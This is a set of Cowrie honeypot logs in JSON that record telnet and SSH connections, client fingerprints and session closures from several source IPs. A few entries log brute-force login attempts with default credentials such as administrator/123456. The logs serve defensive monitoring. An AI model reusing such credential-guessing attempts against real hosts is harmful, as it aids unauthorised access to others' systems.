{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:17:16:1f:b7:7c:5a:03:83:53:21:93:7b:15:c3:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbokEnYaXvXorcdI4ky43QsuaxRxZLmVew2ioyvXhy6Fx+W+B0UZQqEQ5xrSb5OnoNq+drLit1zt/FYsTL8/AZA7PZ11O1pK8fWpuz01DTYaN0ta+PfGVcgwI7N9CNcHgsfP6vSyKoxHczk3PwFqDtkZulzAhK1LG/XxKQdcVBZb+o+18Ph2AJGmXLWAZfJR6zML8K8bbnr88r+N1na1OyYeQoljP4JP7A2aQotjyTdE/bqEs3Z01lzPWDDdB98PNt4VQWgswd/BuWEUXyvmCtza8xdjD4MHfu1dEuvShpjp4EQfFkp2Y3+3bLKJuoLcZbQWHgwiVRh3S19Hl+sfWhTC4XHxsgnQqQ9zicG+vA306ujQjDj/5diAlEhQuXAmrQn9pbNoZQJebGzbsuWxtH54ScmXpktM4mEiNtYxPiC33mKMGN+Be15zZQ1jPv021WY2yJWgvLmsfJKFY0Xlx7qFZVXDgPh+cO2KCx7gIOvWkvxv3NId5Fq/jdybzt/ZXIt6LqLD45fNeLqt7nh038GzZOs9qUpg/FUsLG7Cr1Dg4Q3JzatRNjeF5Ctg0CRvKNVAIaaFGHOfi+/CL+UIfAMvyOTW4GO0bs0fBUMhjkfWDonf89i3xXwkXfSpLC8rpJu+XrYH3l0vm7wmj2y1f+E+nvNXyFd+dj3bIbLKN9yw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:24.274084Z","src_ip":"51.254.17.136","session":"7a706e87d3d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:24.356555Z","src_ip":"51.254.17.136","session":"7a706e87d3d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"104.2","message":"Connection lost after 104.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:25.467556Z","src_ip":"47.239.15.75","session":"4ea204a77fd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.13507676124573,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:26.492382Z","src_ip":"45.58.127.90","session":"080297541f67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.40318059921265,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:27.403260Z","src_ip":"45.58.127.90","session":"88d71635abfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.17102336883545,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:28.993665Z","src_ip":"45.58.127.90","session":"9e6b76bec907","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.10402536392212,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:33.761622Z","src_ip":"147.182.143.59","session":"60bde699442c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":54022,"dst_ip":"159.203.135.109","dst_port":23,"session":"4efcce62ad3d","protocol":"telnet","message":"New connection: 147.182.143.59:54022 (159.203.135.109:23) [session: 4efcce62ad3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:42.129648Z"}
{"eventid":"cowrie.session.closed","duration":44.96664905548096,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:46.309581Z","src_ip":"45.58.127.90","session":"ba28d3a6ac77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.60902738571167,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:49.738556Z","src_ip":"147.182.143.59","session":"4efcce62ad3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37516,"dst_ip":"10.17.0.5","dst_port":23,"session":"59661354c213","protocol":"telnet","message":"New connection: 45.58.127.90:37516 (10.17.0.5:23) [session: 59661354c213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:59:51.869411Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49466,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b0698e9b386","protocol":"telnet","message":"New connection: 45.58.127.90:49466 (10.17.0.5:23) [session: 4b0698e9b386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:00:03.319885Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49476,"dst_ip":"10.17.0.5","dst_port":23,"session":"764eaf321f66","protocol":"telnet","message":"New connection: 45.58.127.90:49476 (10.17.0.5:23) [session: 764eaf321f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:00:05.397257Z"}
{"eventid":"cowrie.session.closed","duration":44.383260011672974,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:00:36.252572Z","src_ip":"45.58.127.90","session":"59661354c213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57242,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e6ea3340b5b","protocol":"telnet","message":"New connection: 45.58.127.90:57242 (10.17.0.5:23) [session: 7e6ea3340b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:00:38.322608Z"}
{"eventid":"cowrie.session.closed","duration":36.22705602645874,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:00:41.624196Z","src_ip":"45.58.127.90","session":"764eaf321f66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.12217473983765,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:00:44.441917Z","src_ip":"45.58.127.90","session":"4b0698e9b386","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46680,"dst_ip":"10.17.0.5","dst_port":23,"session":"028d011a2c6c","protocol":"telnet","message":"New connection: 45.58.127.90:46680 (10.17.0.5:23) [session: 028d011a2c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:00:53.846762Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59722,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ae82a81a062","protocol":"telnet","message":"New connection: 45.58.127.90:59722 (10.17.0.5:23) [session: 2ae82a81a062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:01:14.869174Z"}
{"eventid":"cowrie.session.closed","duration":2.519662380218506,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:01:17.388513Z","src_ip":"45.58.127.90","session":"2ae82a81a062","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.52268958091736,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:01:17.845178Z","src_ip":"45.58.127.90","session":"7e6ea3340b5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.79087257385254,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:01:38.637502Z","src_ip":"45.58.127.90","session":"028d011a2c6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":33794,"dst_ip":"159.203.135.109","dst_port":22,"session":"65ec9c0fefd9","protocol":"ssh","message":"New connection: 47.239.15.75:33794 (159.203.135.109:22) [session: 65ec9c0fefd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:01:52.224036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:01:52.228458Z","src_ip":"47.239.15.75","session":"65ec9c0fefd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":47372,"dst_ip":"159.203.135.109","dst_port":23,"session":"e47018435454","protocol":"telnet","message":"New connection: 147.182.143.59:47372 (159.203.135.109:23) [session: e47018435454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:02:02.082925Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:02:02.257292Z","src_ip":"47.239.15.75","session":"65ec9c0fefd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:02:04.275702Z","src_ip":"47.239.15.75","session":"65ec9c0fefd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54454,"dst_ip":"10.17.0.5","dst_port":23,"session":"960b5a710e1d","protocol":"telnet","message":"New connection: 45.58.127.90:54454 (10.17.0.5:23) [session: 960b5a710e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:02:08.225320Z"}
{"eventid":"cowrie.session.closed","duration":"17.3","message":"Connection lost after 17.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:02:09.547625Z","src_ip":"47.239.15.75","session":"65ec9c0fefd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.8820810317993164,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:02:12.107269Z","src_ip":"45.58.127.90","session":"960b5a710e1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":60682,"dst_ip":"159.203.135.109","dst_port":22,"session":"59ff3d5d43b8","protocol":"ssh","message":"New connection: 47.239.15.75:60682 (159.203.135.109:22) [session: 59ff3d5d43b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:02:16.857288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:02:17.710719Z","src_ip":"47.239.15.75","session":"59ff3d5d43b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53296,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a51d8e344d3","protocol":"telnet","message":"New connection: 45.58.127.90:53296 (10.17.0.5:23) [session: 0a51d8e344d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:02:21.238793Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":39652,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f1d1cf2b2f7","protocol":"telnet","message":"New connection: 147.182.143.59:39652 (159.203.135.109:23) [session: 0f1d1cf2b2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:02:21.713683Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:02:27.721483Z","src_ip":"47.239.15.75","session":"59ff3d5d43b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.680518388748169,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:02:31.394096Z","src_ip":"147.182.143.59","session":"0f1d1cf2b2f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56278,"dst_ip":"159.203.135.109","dst_port":23,"session":"8843431afcf7","protocol":"telnet","message":"New connection: 147.182.143.59:56278 (159.203.135.109:23) [session: 8843431afcf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:02:33.927676Z"}
{"eventid":"cowrie.session.closed","duration":12.175048828125,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:02:46.102585Z","src_ip":"147.182.143.59","session":"8843431afcf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36786,"dst_ip":"10.17.0.5","dst_port":23,"session":"67161df6cecf","protocol":"telnet","message":"New connection: 45.58.127.90:36786 (10.17.0.5:23) [session: 67161df6cecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:02:51.245187Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60902,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a6cab575e51","protocol":"telnet","message":"New connection: 45.58.127.90:60902 (10.17.0.5:23) [session: 9a6cab575e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:03:01.813823Z"}
{"eventid":"cowrie.session.closed","duration":41.69737482070923,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:03:02.936035Z","src_ip":"45.58.127.90","session":"0a51d8e344d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.236.7.200","src_port":52492,"dst_ip":"159.203.135.109","dst_port":23,"session":"aebdf5a57dcd","protocol":"telnet","message":"New connection: 177.236.7.200:52492 (159.203.135.109:23) [session: aebdf5a57dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:03:04.261829Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41486,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ce0a0ed1658","protocol":"telnet","message":"New connection: 147.182.143.59:41486 (159.203.135.109:23) [session: 2ce0a0ed1658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:03:11.037136Z"}
{"eventid":"cowrie.session.closed","duration":70.04576396942139,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:03:12.128546Z","src_ip":"147.182.143.59","session":"e47018435454","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.231622457504272,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:03:17.493340Z","src_ip":"177.236.7.200","session":"aebdf5a57dcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":37934,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e1ef043b211","protocol":"ssh","message":"New connection: 47.239.15.75:37934 (159.203.135.109:22) [session: 5e1ef043b211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:03:18.407924Z"}
{"eventid":"cowrie.session.closed","duration":13.24443244934082,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:03:24.281442Z","src_ip":"147.182.143.59","session":"2ce0a0ed1658","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.04893136024475,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:03:28.293983Z","src_ip":"45.58.127.90","session":"67161df6cecf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.22858166694641,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:03:36.042295Z","src_ip":"45.58.127.90","session":"9a6cab575e51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"20.4","message":"Connection lost after 20.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:03:38.803227Z","src_ip":"47.239.15.75","session":"5e1ef043b211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37704,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d710f846f1a","protocol":"telnet","message":"New connection: 147.182.143.59:37704 (159.203.135.109:23) [session: 6d710f846f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:03:51.146881Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37716,"dst_ip":"159.203.135.109","dst_port":23,"session":"48423a4f703b","protocol":"telnet","message":"New connection: 147.182.143.59:37716 (159.203.135.109:23) [session: 48423a4f703b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:03:52.165888Z"}
{"eventid":"cowrie.session.closed","duration":12.145632982254028,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:04:03.292383Z","src_ip":"147.182.143.59","session":"6d710f846f1a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:04:10.580713Z","src_ip":"47.239.15.75","session":"59ff3d5d43b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:04:16.865367Z","src_ip":"47.239.15.75","session":"59ff3d5d43b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":46114,"dst_ip":"159.203.135.109","dst_port":23,"session":"8168722a7f35","protocol":"telnet","message":"New connection: 147.182.143.59:46114 (159.203.135.109:23) [session: 8168722a7f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:04:19.216132Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40256,"dst_ip":"10.17.0.5","dst_port":23,"session":"36751a99b4b0","protocol":"telnet","message":"New connection: 45.58.127.90:40256 (10.17.0.5:23) [session: 36751a99b4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:04:22.837577Z"}
{"eventid":"cowrie.session.closed","duration":7.263942003250122,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:04:26.479977Z","src_ip":"147.182.143.59","session":"8168722a7f35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.67754340171814,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:04:53.843303Z","src_ip":"147.182.143.59","session":"48423a4f703b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.09480261802673,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:04:58.932261Z","src_ip":"45.58.127.90","session":"36751a99b4b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56384,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4a628c74de7","protocol":"telnet","message":"New connection: 45.58.127.90:56384 (10.17.0.5:23) [session: b4a628c74de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:02.331282Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.11","src_port":40086,"dst_ip":"159.203.135.109","dst_port":22,"session":"b864552dd8a2","protocol":"ssh","message":"New connection: 103.203.57.11:40086 (159.203.135.109:22) [session: b864552dd8a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:11.060285Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:11.080279Z","src_ip":"103.203.57.11","session":"b864552dd8a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57752,"dst_ip":"10.17.0.5","dst_port":23,"session":"521388016962","protocol":"telnet","message":"New connection: 45.58.127.90:57752 (10.17.0.5:23) [session: 521388016962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:16.053334Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":51560,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb592fbee448","protocol":"telnet","message":"New connection: 147.182.143.59:51560 (159.203.135.109:23) [session: cb592fbee448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:23.136011Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54032,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dc4e860175c","protocol":"telnet","message":"New connection: 45.58.127.90:54032 (10.17.0.5:23) [session: 4dc4e860175c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:36.339568Z"}
{"eventid":"cowrie.session.closed","duration":35.254945278167725,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:37.586114Z","src_ip":"45.58.127.90","session":"b4a628c74de7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48996,"dst_ip":"10.17.0.5","dst_port":23,"session":"8268557ed2d2","protocol":"telnet","message":"New connection: 45.58.127.90:48996 (10.17.0.5:23) [session: 8268557ed2d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:41.431727Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":53366,"dst_ip":"159.203.135.109","dst_port":22,"session":"414b3b8a7eac","protocol":"ssh","message":"New connection: 47.239.15.75:53366 (159.203.135.109:22) [session: 414b3b8a7eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:45.108820Z"}
